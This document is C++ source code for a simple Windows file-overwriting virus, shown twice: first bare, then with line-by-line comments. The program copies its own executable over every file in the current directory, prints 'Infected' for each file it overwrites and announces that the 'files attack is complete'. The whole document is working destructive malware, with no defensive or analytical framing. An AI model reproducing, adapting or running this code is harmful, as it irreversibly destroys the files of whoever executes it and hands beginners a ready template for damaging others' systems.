#include<iostream>
#include<windows.h>
using namespace std;
int main()
{
char VirusFile[MAX_PATH];
HANDLE Search;
WIN32_FIND_DATA FileData;
BOOL Finished=FALSE;
GetModuleFileName(0,VirusFile,sizeof(VirusFile));
Search=FindFirstFile("*.*",&FileData);
while(!Finished)
{
if(CopyFile(VirusFile,FileData.cFileName,FALSE))
{
cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
}
FindNextFile(Search,&FileData);
if(GetLastError() == ERROR_NO_MORE_FILES)
{
Finished=TRUE;
}
}
FindClose(Search);
cout<<"\n";
cout<<"<----****Files attack is complete****---->"<<endl;
cout<<"\n";system("pause");
return 0;
}

#include<iostream>
#include<windows.h>
using namespace std;
int main()
{
char VirusFile[MAX_PATH]; //Create a buffer to store the file path of this executable
HANDLE Search; //Buffer handle, stores a handle to the current search.
WIN32_FIND_DATA FileData; //Contains data about the current file
BOOL Finished=FALSE; //Set from within the loop to 'true' when all the files have been enumerated through.
GetModuleFileName(0,VirusFile,sizeof(VirusFile)); //Get the path of the the executable (this executable.)
Search=FindFirstFile("*.*",&FileData); //Search handle created to describe the new search, FileData also describes the first file in current directory.
while(!Finished) //Loop until all files are infected.
{
if(CopyFile(VirusFile,FileData.cFileName,FALSE)) //replace all files in this directory with this file
{
cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
}
FindNextFile(Search,&FileData); //Move on to the next file.
if(GetLastError() == ERROR_NO_MORE_FILES)
{
Finished=TRUE;
}
}
FindClose(Search); //Close file search handle.
cout<<"\n";
cout<<"<----****Files attack is complete****---->"<<endl;
cout<<"\n";system("pause");
return 0;
}